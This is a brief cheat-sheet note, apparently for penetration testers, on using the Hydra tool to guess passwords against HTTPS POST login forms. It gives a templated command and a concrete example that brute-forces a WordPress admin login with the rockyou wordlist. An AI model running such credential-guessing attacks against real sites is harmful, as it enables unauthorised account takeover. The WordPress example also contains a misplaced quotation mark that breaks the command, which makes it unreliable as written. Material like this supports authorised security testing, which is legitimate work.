Hydra

Hydra is a password guessing tool that targets a network service.

HTTP/HTTPS POST form

hydra -s 443 -S -l <username> -P <wordlist path> -t <no of threads> \
        -m <target URL path> <target IP address> https-post-form \
        "<target URL path>:<username_var>=^USER^&<password_var>=^PASS^:S=<match success>:H=Host\: <vhost>"

Wordpress:

hydra -s 443 -S -l admin -P wordlists/rockyou.txt -t 16 -m /wp-login.php <ip address> https-post-form "/wp-login.php:log=^USER^&pwd=^PASS^":S=302 Found:H=Host\: vhost.example.com"